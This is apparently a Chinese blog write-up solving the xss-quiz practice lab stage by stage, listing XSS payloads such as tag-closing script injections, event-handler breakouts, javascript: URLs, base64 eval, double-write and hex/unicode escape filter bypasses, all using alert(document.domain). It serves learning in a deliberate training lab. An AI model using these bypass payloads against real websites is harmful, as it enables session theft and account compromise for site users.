zoukankan      html  css  js  c++  java
  • xssquiz 靶机全通关

    stage1

    随便提交一个参数 查看HTML 发现提交的参数被b标签所包裹  构造payload  

    </b><script>alert(document.domain)</script> 将b标签闭合

     提交得到域名

    stage2

    提交参数  继续考虑闭合 标签 

    构造payload   "><script>alert(document.domain);</script>

    也可以通过js事件引入 onmouseover="alert(document.domain)>

    onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

     提交 成功得到域名

    stage 3

    随便提交数据 查看前段代码  发先还是b标签闭合

    </b><script>alert(document.domain)</script>
    提交 不成功
    这些payload被转化为字符串 所以是无效的

    抓包 修改p2参数

    构造payload

    </option><script>alert(document.domain)</script>

    stage 4

    修改hidden为text

     通过抓包才发现有三个参数被提交

    以下三种payload


    "><svg onload=alert(document.domain)>;
    " οnmοuseοver=alert(document.domain);
    "><script>alert(document.domain)</script>

     stage 5

    前端直接修改或者抓包绕过字数限制即可

     stage 6

    提交"><script>alert(document.domain)</script> 发现 < > 都被转义

    所以考虑通过事件

    123" οnmοuseοver="alert(document.domain)
     
     

     stage 7

    input 闭合查看源码

     发现被转化为字符串 js不能够被执行

    事件触发payload

    123" οnmοuseοver="alert(document.domain)

     将这payload这一部分去掉分析

    <input type="text" name="p1" size="50" value="value值 " "js事件 ">

    所以构造

    123 onmouseover=alert(document.domain)

      stage 8

     a标签插入 利用JavaScript伪协议

    javascript:alert(document.domain) 点击url就可执行js代码

    stage 9

    现在浏览器已经不支持

    stage 10

    http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276

    domain被过滤掉了 双写绕过 123"><script>alert(document.dodomainmain);</script>

    或者编码绕过

    atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

    将alert(docuemnt.domain)进行base64编码

    最终payload应该为 "><script>eval(atob('YWxlcnQoZG9jdWVtbnQuZG9tYWluKQ=='));</script>

    stage11

    onmouseover被改为onxxx script被改为xscript

    空格绕过

    "><a href="java script:alert(document.domain);">xss</a>


    stage15

    16进双斜杠绕过

    对<>进行了转义 传入x3c x3e 发现/被过滤掉 传入双斜杠可以成功绕过

    payload 为

    \x3cscript\x3ealert(document.domain);\x3c/script\x3e

    stage16

    js不仅可以识别16进制也可以识别unicode码

    unicode双斜杠绕过

    和上一关差不多 只是用了unicode码

    \u003cscript\u003ealert(document.domain);\u003c/script\u003e

  • 相关阅读:
    完成后台管理系统功能(三)查询商品信息列表
    完成后台管理系统功能(二)有关SSM的整合
    实现后台管理系统功能(一)maven工程的建立
    开始‘京西商城’的电商项目(SSM)
    到此,使用struts2+hibernate实现登陆以及学生列表的增删改查 结束 -------------------------------------------------------
    chrome 中 preview 和 response 数据不一致
    单元测试执行过程中忽略出错的单元测试
    使用Maven 构建时跳过单元测试
    使用 AutoIt3 加密解密数据
    SpringBoot 启动流程
  • 原文地址:https://www.cnblogs.com/akger/p/14336066.html
Copyright © 2011-2022 走看看